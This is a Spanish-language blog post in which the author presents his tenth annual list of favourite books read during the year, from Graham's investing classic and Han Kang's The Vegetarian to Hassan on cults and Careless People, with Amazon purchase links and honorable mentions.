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										<content:encoded><![CDATA[<div class="et_pb_section_1 et_pb_section et_section_regular et_block_section"><div class="et_pb_row_1 et_pb_row et_block_row"><div class="et_pb_column_1 et_pb_column et_pb_column_4_4 et-last-child et_block_column et_pb_css_mix_blend_mode_passthrough"><div class="et_pb_text_1 et_pb_text et_pb_bg_layout_light et_pb_module et_block_module"><div class="et_pb_text_inner"><p><!-- wp:image {"id":23026,"sizeSlug":"full","linkDestination":"none"} --></p>
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="572" src="https://elcerebrohabla.com/wp-content/uploads/unnamed-3-1.jpg" alt="" class="wp-image-23026" srcset="https://elcerebrohabla.com/wp-content/uploads/unnamed-3-1.jpg 1024w, https://elcerebrohabla.com/wp-content/uploads/unnamed-3-1-980x547.jpg 980w, https://elcerebrohabla.com/wp-content/uploads/unnamed-3-1-480x268.jpg 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw" /></figure>
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<p>Este no es cualquier post sobre mis 10 libros del año. Es mi décima entrega que comencé a hacer desde el 2016. Si bien este año no leí tanto como el pasado, leí varios libros muy buenos que no caben en esta lista y que tendré que dejar en la lista de menciones honoríficas. Comencemos pues:</p>
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<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">1.- Why Stocks Go Up and Down - William H. Pike y El Inversor Inteligente - Benjamin Graham </h2>
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<p>Hasta el día de hoy no había recomendado este tipo de literatura y de hecho son dos en lugar de uno porque me parecieron muy buenos. Si quieres entrar al mundo de las inversiones y hacer que tu dinero crezca pero todavía no tienes mucha experiencia, creo que estos dos libros son esenciales. El primero básicamente te explica cómo funciona la bolsa y las acciones y el segundo te ayuda a obtener a ganar sabiduría para tomar decisiones racionales.</p>
<p><!-- /wp:paragraph --></p>
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<p><a href="https://www.amazon.com.mx/Why-Stocks-Go-Up-Down/dp/0989298205/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=3BU86EYP4SO5E&amp;dib=eyJ2IjoiMSJ9.xAqGD-DfOr81MKGiry1UhL1f1gftSLZFUhtQBbgOPyftj6hso7uelV4hhYguBIDpat92LPX0Ovkv9QugPYCcvEWpuo9bGL6GJBk_Z00CoXZ8OzOthZJm25BUJ6H6MTl75kgB9UZcD0ncMZPFwExRRjSPsd0SKJ0kAfAeEFwV2JuBdXq104hkuTw5y3vmXFPZVqWkNExljoJ5mEtWJPzjUQ.AyCBy1yMgcMDqh5ANbVrSaoTMKiQuU8k_EFt180Lq5A&amp;dib_tag=se&amp;keywords=Why+Stocks+Go+Up+and+Down&amp;qid=1764987703&amp;sprefix=why+stocks+go+up+and+down%2Caps%2C310&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.ecf8ea6b-8840-4b28-821b-333c5ba4275b" data-type="link" data-id="https://www.amazon.com.mx/Why-Stocks-Go-Up-Down/dp/0989298205/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=3BU86EYP4SO5E&amp;dib=eyJ2IjoiMSJ9.xAqGD-DfOr81MKGiry1UhL1f1gftSLZFUhtQBbgOPyftj6hso7uelV4hhYguBIDpat92LPX0Ovkv9QugPYCcvEWpuo9bGL6GJBk_Z00CoXZ8OzOthZJm25BUJ6H6MTl75kgB9UZcD0ncMZPFwExRRjSPsd0SKJ0kAfAeEFwV2JuBdXq104hkuTw5y3vmXFPZVqWkNExljoJ5mEtWJPzjUQ.AyCBy1yMgcMDqh5ANbVrSaoTMKiQuU8k_EFt180Lq5A&amp;dib_tag=se&amp;keywords=Why+Stocks+Go+Up+and+Down&amp;qid=1764987703&amp;sprefix=why+stocks+go+up+and+down%2Caps%2C310&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.ecf8ea6b-8840-4b28-821b-333c5ba4275b" target="_blank" rel="noreferrer noopener">Comprar aquí</a> y<a href="https://www.amazon.com.mx/inversor-inteligente-libro-asesoramiento-pr%C3%A1ctico/dp/6075620796/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=2CYK1183J2E2V&amp;dib=eyJ2IjoiMSJ9.BtylTHYO2GEyB9LhJp3gRXZRMLWyoHTA7E-Em-Q0HeBWTz-EW34Ntni_ITwGJB8RCTBtk81yA8H35tT9xdXEprBlyeTJCKvmOs2xbdnKgnIXEoDo4VceCtSpcwKOA3So7RQ_fWcE_1PSrP4b_G2j3Q_vpRiHlnUuNoT20cRbVQszEAZGo_d9IjaOPXOcyfWAb1lGRj_e2Wk0EPwAgFrcU92oQPTb613aROhdpTpIfEC3d856UhXOKEG7PporcAm3q7DXRmMPHdost6u2TyIf84jj7hftEZdaBwFGQD2tx-0.4xOAU9dFaLFCF-0EddunSMPA4tGwWxL4FwB-t8fhvqY&amp;dib_tag=se&amp;keywords=el+inversor+inteligente&amp;qid=1764987732&amp;sprefix=el+inversor+inteligente%2Caps%2C129&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" data-type="link" data-id="https://www.amazon.com.mx/inversor-inteligente-libro-asesoramiento-pr%C3%A1ctico/dp/6075620796/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=2CYK1183J2E2V&amp;dib=eyJ2IjoiMSJ9.BtylTHYO2GEyB9LhJp3gRXZRMLWyoHTA7E-Em-Q0HeBWTz-EW34Ntni_ITwGJB8RCTBtk81yA8H35tT9xdXEprBlyeTJCKvmOs2xbdnKgnIXEoDo4VceCtSpcwKOA3So7RQ_fWcE_1PSrP4b_G2j3Q_vpRiHlnUuNoT20cRbVQszEAZGo_d9IjaOPXOcyfWAb1lGRj_e2Wk0EPwAgFrcU92oQPTb613aROhdpTpIfEC3d856UhXOKEG7PporcAm3q7DXRmMPHdost6u2TyIf84jj7hftEZdaBwFGQD2tx-0.4xOAU9dFaLFCF-0EddunSMPA4tGwWxL4FwB-t8fhvqY&amp;dib_tag=se&amp;keywords=el+inversor+inteligente&amp;qid=1764987732&amp;sprefix=el+inversor+inteligente%2Caps%2C129&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" target="_blank" rel="noreferrer noopener"> aquí </a></p>
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<h2 class="wp-block-heading">2.- El valor de la atención: Por qué nos la robaron y cómo recuperarla (Johann Hari)</h2>
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<p>En un tiempo en el que estamos hiperconectados y donde el entorno nos ha hecho perder la capacidad de enfoque, este libro hace un muy buen recorrido por los problemas que están degradando esta habilidad tan necesaria y propone tanto soluciones individuales como colectivas (reconociendo que las acciones individuales no son suficientes). Hari argumenta que la crisis de atención no es un fallo personal, sino un problema sistémico</p>
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<p><a href="https://www.amazon.com.mx/El-valor-atenci%C3%B3n-Johann-Hari/dp/6073900007/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=F1TA5V8CAUU4&amp;dib=eyJ2IjoiMSJ9.Z8--GpVD9yrN4thWNRZEN-N4jqbghfjQWgBc-bk7lKQAEMQk2ycVvorWOrYA9K_-leGRRPbIUejYDrRC2g1SNQM6GaUQGchBam1uieDQk6NvvuPr0SbUf5WjvvuNRhDbdtKP6Cm5F59_ZMKyx3jIgGskqMPO1X5sudTZd6XRg1kL2X4dx56OYGu_KzT_tTQ9RfrxghQfShnLiDBT19Dsh79quxq8cCXXXMlBbRqlh4PNPMbvnxHizKA1wpXr22lOuX7Wsp4ZdW2Dn32qlCne0j20GgAQos2efQ0Agmn8rg8.QsmGC2BFLcFPFC59F1oU2Aiy8z5yY0qXKZHJarvwY0E&amp;dib_tag=se&amp;keywords=el+valor+de+la+atencion&amp;qid=1764988091&amp;sprefix=el+valor+de+la+atencion%2Caps%2C143&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" data-type="link" data-id="https://www.amazon.com.mx/El-valor-atenci%C3%B3n-Johann-Hari/dp/6073900007/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=F1TA5V8CAUU4&amp;dib=eyJ2IjoiMSJ9.Z8--GpVD9yrN4thWNRZEN-N4jqbghfjQWgBc-bk7lKQAEMQk2ycVvorWOrYA9K_-leGRRPbIUejYDrRC2g1SNQM6GaUQGchBam1uieDQk6NvvuPr0SbUf5WjvvuNRhDbdtKP6Cm5F59_ZMKyx3jIgGskqMPO1X5sudTZd6XRg1kL2X4dx56OYGu_KzT_tTQ9RfrxghQfShnLiDBT19Dsh79quxq8cCXXXMlBbRqlh4PNPMbvnxHizKA1wpXr22lOuX7Wsp4ZdW2Dn32qlCne0j20GgAQos2efQ0Agmn8rg8.QsmGC2BFLcFPFC59F1oU2Aiy8z5yY0qXKZHJarvwY0E&amp;dib_tag=se&amp;keywords=el+valor+de+la+atencion&amp;qid=1764988091&amp;sprefix=el+valor+de+la+atencion%2Caps%2C143&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" target="_blank" rel="noreferrer noopener">Comprar aquí</a></p>
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<h2 class="wp-block-heading">3.- La Vegetariana - Han Kang</h2>
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<p>Esta novela de la Premio Nobel de Literatura 2024 trata sobre Yeonghye, una mujer que, producto de sus pesadillas, decide volverse vegetariana como acto de desobediencia y locura que rompe con las convenciones sociales sudcoreanas, y como esto convierte su vida en una pesadilla. La historia nunca es contada por la protagonista sino por tres hombres y una mujer que proyectan en ella sus deseos y frustraciones, lo cual la hace muy interesante. </p>
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<p><a href="https://www.amazon.com.mx/vegetariana-Premio-Nobel-Literatura-2024/dp/6073853971/ref=sr_1_1?crid=1POAHW2ND8WBW&amp;dib=eyJ2IjoiMSJ9.vBxuov1wUGUnliIes5jcuZ_Mq-foKsduAeeb3NPTzQirHlBsrnVtV--gEy0GjC8U6yysPHnZLUsJ27-nTvQTGWE-aPW87WmbYuRZYrPqzAZq-JYzAQTWv7kt-Nl0HnP8jKqUpttOUpu-MtvOYCt6HNFcU6SluG6ZOu0EafKEtexUD-dpKqd146KcpP_vRSw2ziGegcA6kPFsMdNomKRF4i65pzMllgjFPWBMmwZYlv4RsqtYLfXK9jDxHPFc8pJLqGJJD_7Je6o2ACx89lgg1cLOV6doRLvMYGl-fJqOuxo.tAfwEvh-8FcZE4RafdquwcatfwB-solZr62UdRdUvdk&amp;dib_tag=se&amp;keywords=la+vegetariana+han+kang&amp;qid=1764988516&amp;sprefix=la+vegetariana%2Caps%2C154&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" data-type="link" data-id="https://www.amazon.com.mx/vegetariana-Premio-Nobel-Literatura-2024/dp/6073853971/ref=sr_1_1?crid=1POAHW2ND8WBW&amp;dib=eyJ2IjoiMSJ9.vBxuov1wUGUnliIes5jcuZ_Mq-foKsduAeeb3NPTzQirHlBsrnVtV--gEy0GjC8U6yysPHnZLUsJ27-nTvQTGWE-aPW87WmbYuRZYrPqzAZq-JYzAQTWv7kt-Nl0HnP8jKqUpttOUpu-MtvOYCt6HNFcU6SluG6ZOu0EafKEtexUD-dpKqd146KcpP_vRSw2ziGegcA6kPFsMdNomKRF4i65pzMllgjFPWBMmwZYlv4RsqtYLfXK9jDxHPFc8pJLqGJJD_7Je6o2ACx89lgg1cLOV6doRLvMYGl-fJqOuxo.tAfwEvh-8FcZE4RafdquwcatfwB-solZr62UdRdUvdk&amp;dib_tag=se&amp;keywords=la+vegetariana+han+kang&amp;qid=1764988516&amp;sprefix=la+vegetariana%2Caps%2C154&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" target="_blank" rel="noreferrer noopener">Comprar aquí</a></p>
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<h2 class="wp-block-heading">4.- Combatting Cult Mind Control - Steven Hassan</h2>
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<p>Este libro es un manual extensivo (y tal vez el libro definitivo) para saber cómo funcionan las sectas destructivas: no solo las tradicionales sectas religiosas, sino aquellas que actúan como <a href="https://elcerebrohabla.com/2018/08/18/que-tanto-sirven-los-cursos-de-coaching/" data-type="link" data-id="https://elcerebrohabla.com/2018/08/18/que-tanto-sirven-los-cursos-de-coaching/" target="_blank" rel="noreferrer noopener">cursos de coaching</a>. Hassan explica bien como las sectas controlan tu comportamiento, tu pensamiento, cómo controlan la información y cómo manipulan las emociones. Además, propone una muy buena guía para ayudar a salir a las personas que están atrapadas en ellas. </p>
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<p><a href="https://www.amazon.com.mx/Combatting-Cult-Mind-Control-Best-selling/dp/0892813113/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=1D8TUSNVYNWMD&amp;dib=eyJ2IjoiMSJ9.vGRQiVRMBCrU-OGBJjHrdxpEykMuST_n33ejdS9gMZoJJU0jjyV-Myc0-UNYZW8X-bNqHwQQFelQY2cJzvMKOg.6byUXyf3OzkyVsRfGT2Eewqg0qAH1YGiBilPB0OyOs8&amp;dib_tag=se&amp;keywords=combatting+cult+mind+control&amp;qid=1764988901&amp;sprefix=combatting+cult+mind+control%2Caps%2C119&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.ecf8ea6b-8840-4b28-821b-333c5ba4275b" data-type="link" data-id="https://www.amazon.com.mx/Combatting-Cult-Mind-Control-Best-selling/dp/0892813113/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=1D8TUSNVYNWMD&amp;dib=eyJ2IjoiMSJ9.vGRQiVRMBCrU-OGBJjHrdxpEykMuST_n33ejdS9gMZoJJU0jjyV-Myc0-UNYZW8X-bNqHwQQFelQY2cJzvMKOg.6byUXyf3OzkyVsRfGT2Eewqg0qAH1YGiBilPB0OyOs8&amp;dib_tag=se&amp;keywords=combatting+cult+mind+control&amp;qid=1764988901&amp;sprefix=combatting+cult+mind+control%2Caps%2C119&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.ecf8ea6b-8840-4b28-821b-333c5ba4275b" target="_blank" rel="noreferrer noopener">Comprar aquí </a></p>
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<h2 class="wp-block-heading">5.- How The World Thinks- Julian Baggini</h2>
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<p>Este libro me gustó mucho y me ayudó a abrir un poco más mi mente y salir un poco del eurocentrismo al que a veces podemos tender a caer. La premisa es que lo que conocemos en Occidente como "filosofía" es solo una parte de todo el pensamiento humano y nos introduce a las distintas culturas y sus dinámicas propias tales como China, la India y el mundo islámico. El libro muestra cómo es que las distintas culturas abordan distintas preguntas filosóficas como ¿Cómo conoce el mundo? ¿Quiénes somos? o ¿Cómo vive el mundo? </p>
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<p><a href="https://www.amazon.com.mx/How-World-Thinks-History-Philosophy/dp/1783782307/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=3AGKT2AZIQA9Z&amp;dib=eyJ2IjoiMSJ9.-oasDTE1ck4GndB-bYaNA1yDsvmS91eF8iNKVF6v8jHkaKZNpDBSHdu_HtiEozeouVS0GU52ajHP9538usHDK62HXw3AGijDv7D9e9qltoRoHMXSPQPdXA5M38yenZHs1CXpoYbRvU5XThdw0wmsoR-IQY9OG2av4GZSkbnhNzm39tL699Kmh4RIlq78NZbHlDJRABEiODkZDSvDs1kDOCogrskrNneBYLInkgVq8l5jI7UBUWag6XDkatlufy9XIRTjaNBPbh73Wa9x-NSAsJk19BkPQNFytyW03i7o_W4.8k0aJQ0dS_A__WFC3WL4PKOcVXo4lv85RILYUD8NiVA&amp;dib_tag=se&amp;keywords=how+the+world+think&amp;qid=1764989187&amp;sprefix=how+the+world+thinks%2Caps%2C137&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" data-type="link" data-id="https://www.amazon.com.mx/How-World-Thinks-History-Philosophy/dp/1783782307/ref=sr_1_1?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=3AGKT2AZIQA9Z&amp;dib=eyJ2IjoiMSJ9.-oasDTE1ck4GndB-bYaNA1yDsvmS91eF8iNKVF6v8jHkaKZNpDBSHdu_HtiEozeouVS0GU52ajHP9538usHDK62HXw3AGijDv7D9e9qltoRoHMXSPQPdXA5M38yenZHs1CXpoYbRvU5XThdw0wmsoR-IQY9OG2av4GZSkbnhNzm39tL699Kmh4RIlq78NZbHlDJRABEiODkZDSvDs1kDOCogrskrNneBYLInkgVq8l5jI7UBUWag6XDkatlufy9XIRTjaNBPbh73Wa9x-NSAsJk19BkPQNFytyW03i7o_W4.8k0aJQ0dS_A__WFC3WL4PKOcVXo4lv85RILYUD8NiVA&amp;dib_tag=se&amp;keywords=how+the+world+think&amp;qid=1764989187&amp;sprefix=how+the+world+thinks%2Caps%2C137&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" target="_blank" rel="noreferrer noopener">Comprar aquí</a></p>
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<h2 class="wp-block-heading">6.- El Invencible Verano de Liliana</h2>
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<p>Trata sobre el feminicidio de Liliana, ocurrido en 1990. El libro está escrito por su hermana Cristina Rivera Garza y está construido a través de las cartas y documentos que dejó Liliana así como los testimonios de sus amigos. Al principio pensé que iba a ser un libro del montón pero me terminó atrapando. Está muy bien elaborado. A lo largo del libro empiezas a empatizar mucho con Liliana de tal forma que sientes el desgarro cuando su victimario la mata. Muy buena obra que dimensiona y contextualiza una problemática social muy recurrente en nuestro país.</p>
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<p><a href="https://www.amazon.com.mx/invencible-verano-Liliana-Cristina-Rivera/dp/6073826087/ref=sr_1_1?crid=1Y4M5Q6GI560C&amp;dib=eyJ2IjoiMSJ9.ENhyBL-cZ4doflwImDbqWw8FBCFBNAt8zTrBpv5ElFPm-O44KESzoYIQEpGbJAZYnEy2Mqw43JHyV2-DIqPYFP-7D1dxOZgUm6JbfkteNwt_FGz7ro1Yi3MBfJTPs3w6KpCZLz0jWt2RfhuGz7SXtOQRxZQvWXuzp1Pa5x9nxk4qbNAomeQvjIHQnipGakDc.SvOcuZN8OAl9Ckp4nu9cOAdI58EBXFqVylw0rOb3FAw&amp;dib_tag=se&amp;keywords=el+invencible+verano+de+liliana&amp;qid=1764989341&amp;sprefix=el+invencible+%2Caps%2C179&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" data-type="link" data-id="https://www.amazon.com.mx/invencible-verano-Liliana-Cristina-Rivera/dp/6073826087/ref=sr_1_1?crid=1Y4M5Q6GI560C&amp;dib=eyJ2IjoiMSJ9.ENhyBL-cZ4doflwImDbqWw8FBCFBNAt8zTrBpv5ElFPm-O44KESzoYIQEpGbJAZYnEy2Mqw43JHyV2-DIqPYFP-7D1dxOZgUm6JbfkteNwt_FGz7ro1Yi3MBfJTPs3w6KpCZLz0jWt2RfhuGz7SXtOQRxZQvWXuzp1Pa5x9nxk4qbNAomeQvjIHQnipGakDc.SvOcuZN8OAl9Ckp4nu9cOAdI58EBXFqVylw0rOb3FAw&amp;dib_tag=se&amp;keywords=el+invencible+verano+de+liliana&amp;qid=1764989341&amp;sprefix=el+invencible+%2Caps%2C179&amp;sr=8-1&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" target="_blank" rel="noreferrer noopener">Comprar aquí </a></p>
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<h2 class="wp-block-heading">7.- A Brief History of Intelligence - Max Salomon Bennet</h2>
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<p>Este libro me encantó porque básicamente explica cómo es que la inteligencia se fue desarrollando a través de la historia y que, si queremos construir una verdadera inteligencia artificial, primero debemos entender cómo es que la inteligencia fue evolucionando en la naturaleza en las distintas especies hasta llegar a la inteligencia humana. ¿Cuál es la diferencia de la inteligencia que tiene una hormiga, un pez, un chimpancé o un ser humano? Conocer y comprender dichos pasos evolutivos es una tarea muy interesante. </p>
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<p><a href="https://www.amazon.com.mx/Brief-History-Intelligence-Humans-Breakthroughs/dp/0063286343/ref=sr_1_1?crid=2XN4R8NY2RTCB&amp;dib=eyJ2IjoiMSJ9.ccrOfDNWJZ7u-EGKMUMVS0cpNtC1BA34VitSVgGEieZuX6T1Vm9lzHk_A4enYYgk0O2-GkcoSf0Lv_nHK9e8Z7UKyZsSryNJWj0yKzPC0KGti58VwgXA-E1zUwpAAXoA-kTw78lJ0Al6D8BIyL_dLh8Fn2WkIgBXnBZr2GBbhIJfOOakY8HPkbEX80tMq7KQ1M-plLQ1yk1CLSFA8Xn0v59HnxWZgZX4R7RpnqFWadLh5hR_xJ3OpK1bhNKrAvXRVjbAZ4CoDe4LU__e3cG0_tSMBRj6iYKPXI_sQ_EanuQ.2LjrvpNMdtSRH88pYe7AS8X6Px2VDy9DUGSkdo_hOo0&amp;dib_tag=se&amp;keywords=a+brief+history+of+intelligence&amp;qid=1764989636&amp;sprefix=A+Brief+History+of+Intelligence+%2Caps%2C194&amp;sr=8-1" data-type="link" data-id="https://www.amazon.com.mx/Brief-History-Intelligence-Humans-Breakthroughs/dp/0063286343/ref=sr_1_1?crid=2XN4R8NY2RTCB&amp;dib=eyJ2IjoiMSJ9.ccrOfDNWJZ7u-EGKMUMVS0cpNtC1BA34VitSVgGEieZuX6T1Vm9lzHk_A4enYYgk0O2-GkcoSf0Lv_nHK9e8Z7UKyZsSryNJWj0yKzPC0KGti58VwgXA-E1zUwpAAXoA-kTw78lJ0Al6D8BIyL_dLh8Fn2WkIgBXnBZr2GBbhIJfOOakY8HPkbEX80tMq7KQ1M-plLQ1yk1CLSFA8Xn0v59HnxWZgZX4R7RpnqFWadLh5hR_xJ3OpK1bhNKrAvXRVjbAZ4CoDe4LU__e3cG0_tSMBRj6iYKPXI_sQ_EanuQ.2LjrvpNMdtSRH88pYe7AS8X6Px2VDy9DUGSkdo_hOo0&amp;dib_tag=se&amp;keywords=a+brief+history+of+intelligence&amp;qid=1764989636&amp;sprefix=A+Brief+History+of+Intelligence+%2Caps%2C194&amp;sr=8-1" target="_blank" rel="noreferrer noopener">Comprar aquí</a></p>
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<h2 class="wp-block-heading">8.- Los Miserables - Victor Hugo</h2>
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<p>Este es un libro que tenía guardado en mi librero y que en más de 15 años de tenerlo ahí nunca lo abrí. Ahora que viajé a Francia aproveché la oportunidad de leerlo y vaya que es un gran libro que no solo narra una historia, sino que tiene un profundo contenido social, histórico y filosófico que se palpa en cada una de sus páginas. Víctor Hugo a veces "pausa" el relato de la novela para introducir reflexiones filosóficas o acontecimientos históricos que van a contextualizar la continuación de la propia historia. Es un libro algo crudo y oscuro que reflexiona sobre la lucha entre el bien y el mal, la injusticia, la miseria, la pobreza, el amor, la disonancia que existe entre seguir la ley al pie de la letra y obrar bien o la capacidad que una persona tiene de redimirse. </p>
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<p><a href="https://www.amazon.com.mx/Los-Miserables-Edici%C3%B3n-original-completa/dp/B0BMDC6DLC/ref=sr_1_4?crid=3B3J4HO59PR8B&amp;dib=eyJ2IjoiMSJ9.sepoKwzBce4eXdCXMoEK5E697ct0FbvXy5URnn9PirCzScgNiawRqWs9SLb3Qwfwa8AEgP74J1vSraQwp2YmTS7JyVIWPD_GCMxjcYDp0WvzPchvBw-NmoJUZH2V9s-W6RKmoXje1g3mmNKnN5gfdhv-AsdNDa7-epUgHkoF5avHfcOtN_Fh5yJhkgmvsx9rCWSFpPYgoCQ50qyWRArza6LTk7MeYQG4HZQzwXlHw63_OtLDett0lUNFJ5-zpj4IDcAsN30aP75HUcdzq-MY6kht2BTebGvm9uXAI04Ww18.ITfkIjdNtvdr9K3-q1gHWdtSiq3ME66HewxrSZS16yA&amp;dib_tag=se&amp;keywords=los+miserables+victor+hugo&amp;qid=1764990013&amp;sprefix=los+miserables%2Caps%2C143&amp;sr=8-4&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" data-type="link" data-id="https://www.amazon.com.mx/Los-Miserables-Edici%C3%B3n-original-completa/dp/B0BMDC6DLC/ref=sr_1_4?crid=3B3J4HO59PR8B&amp;dib=eyJ2IjoiMSJ9.sepoKwzBce4eXdCXMoEK5E697ct0FbvXy5URnn9PirCzScgNiawRqWs9SLb3Qwfwa8AEgP74J1vSraQwp2YmTS7JyVIWPD_GCMxjcYDp0WvzPchvBw-NmoJUZH2V9s-W6RKmoXje1g3mmNKnN5gfdhv-AsdNDa7-epUgHkoF5avHfcOtN_Fh5yJhkgmvsx9rCWSFpPYgoCQ50qyWRArza6LTk7MeYQG4HZQzwXlHw63_OtLDett0lUNFJ5-zpj4IDcAsN30aP75HUcdzq-MY6kht2BTebGvm9uXAI04Ww18.ITfkIjdNtvdr9K3-q1gHWdtSiq3ME66HewxrSZS16yA&amp;dib_tag=se&amp;keywords=los+miserables+victor+hugo&amp;qid=1764990013&amp;sprefix=los+miserables%2Caps%2C143&amp;sr=8-4&amp;ufe=app_do%3Aamzn1.fos.de93fa6a-174c-4df7-be7c-5bc8e9c5a71b" target="_blank" rel="noreferrer noopener">Comprar aquí </a></p>
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<h2 class="wp-block-heading">9.- Leonardo Da Vinci - Walter Isaacson</h2>
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<p>A mí me gustan mucho las biografías de Walter Isaacson, pero esta, a diferencia de las demás, tiene un toque muy peculiar porque no es trata sobre la historia de la vida de este genio, sino de su propia obra, de su técnica, de su forma muy peculiar de conceptualizar el arte, sobre la creatividad y cómo es que Da Vinci era un procrastinador que dejó muchísimas obras inconclusas, procrastinación que era un precio a pagar por su genialidad. Isaacson hace un recorrido por sus obras, su técnica, su evolución, sus invenciones que tal vez llegaron muy pronto y no eran funcionales pero que seguramente fueron un parteaguas para inventos posteriores. </p>
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<p><a href="https://www.amazon.com.mx/s?k=leonardo+da+vinci+walter+isaacson&amp;crid=L32608DM3T4&amp;sprefix=leonardo+da+vinci+%2Caps%2C154&amp;ref=nb_sb_ss_ts-doa-p_5_18" data-type="link" data-id="https://www.amazon.com.mx/s?k=leonardo+da+vinci+walter+isaacson&amp;crid=L32608DM3T4&amp;sprefix=leonardo+da+vinci+%2Caps%2C154&amp;ref=nb_sb_ss_ts-doa-p_5_18" target="_blank" rel="noreferrer noopener">Comprar aquí</a></p>
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<h2 class="wp-block-heading">10.- Careless People: A Cautionary Tale of Power, Greed, and Lost Idealism - Sarah Wynn-Williams</h2>
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<p>Este es un libro que me parece muy revelador sobre la condición humana y sobre cómo una ex directiva de Facebook entró a esta empresa con cierto idealismo pensando en que el fin de esta red era unir al mundo y democratizar la información para después desencantarse al ver cómo se convertía en una empresa voraz donde la ambición podía estar por encima de cualquier cosa. Sarah nos narra la obsesión por el crecimiento y cómo cualquier preocupación ética era ignorada si ésta estorbaba a ese fin, cómo es que la empresa permitió explícitamente a gobiernos autoritarios usar la plataforma para manipular elecciones al tiempo que criticaba fuertemente el "feminismo corporativo" de Sheryl Sandberg al que retrata como convenenciero, interesado e hipócrita.</p>
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<p><a href="https://www.amazon.com.mx/Careless-People-explosive-memoir-English-ebook/dp/B0DZD18WRP/ref=sr_1_2?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=S818NSRQ5X4K&amp;dib=eyJ2IjoiMSJ9.3fyYRzKeLkiUa_Ma6mkIVQn0m-6kgTiNwQHhOuuuH-sTvhUm_yuPV7MdVlGE21mhvC2qvso8sBADLgoIz0pJj0PVWZKo5ZR5LkaWCkdYiS04LFh4CrwItfpoJxEa4-T4VHal7IUOSYNz1xS7Dbvy5Oog2s-T8HCBIO2Gp5ivMYfNfbm-gUyNW-yF6nLsuiSPRBqmjZG0MRtOfx-d9W2sNdTaGPQ_ZOwJLRMFiSxlgKIhC8l3Z_kXHAYEPtha-gS5mT3xq6OedW8WmDqWSuN_0g-MocE4Ofumh1VkU9ckWE8.RDRyJzxUzxt-oRhsRYD7rBxaRNEGFvwC4pEaBj2yNBI&amp;dib_tag=se&amp;keywords=careless+people&amp;qid=1764990897&amp;sprefix=careless+people%2Caps%2C136&amp;sr=8-2" data-type="link" data-id="https://www.amazon.com.mx/Careless-People-explosive-memoir-English-ebook/dp/B0DZD18WRP/ref=sr_1_2?__mk_es_MX=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=S818NSRQ5X4K&amp;dib=eyJ2IjoiMSJ9.3fyYRzKeLkiUa_Ma6mkIVQn0m-6kgTiNwQHhOuuuH-sTvhUm_yuPV7MdVlGE21mhvC2qvso8sBADLgoIz0pJj0PVWZKo5ZR5LkaWCkdYiS04LFh4CrwItfpoJxEa4-T4VHal7IUOSYNz1xS7Dbvy5Oog2s-T8HCBIO2Gp5ivMYfNfbm-gUyNW-yF6nLsuiSPRBqmjZG0MRtOfx-d9W2sNdTaGPQ_ZOwJLRMFiSxlgKIhC8l3Z_kXHAYEPtha-gS5mT3xq6OedW8WmDqWSuN_0g-MocE4Ofumh1VkU9ckWE8.RDRyJzxUzxt-oRhsRYD7rBxaRNEGFvwC4pEaBj2yNBI&amp;dib_tag=se&amp;keywords=careless+people&amp;qid=1764990897&amp;sprefix=careless+people%2Caps%2C136&amp;sr=8-2" target="_blank" rel="noreferrer noopener">Comprar aquí</a> </p>
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<p><strong>Menciones honoríficas:</strong></p>
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<ul class="wp-block-list"><!-- wp:list-item --></p>
<li>Seven Ages of Paris - Alistair Horne</li>
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<li>La Nausea - Jean-Paul Sartre</li>
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<li>Psych - The Story of Human Mind - Paul Bloom</li>
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<li>Palaces For The People - Eric Klinenberg</li>
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<li>SPQR - Mary Beard</li>
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<li>Seeing Like a State: How Certain Schemes to Improve the Human Condition Have Failed - James C. Scott</li>
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<li>Instant Philosophy - Gareth Southwell</li>
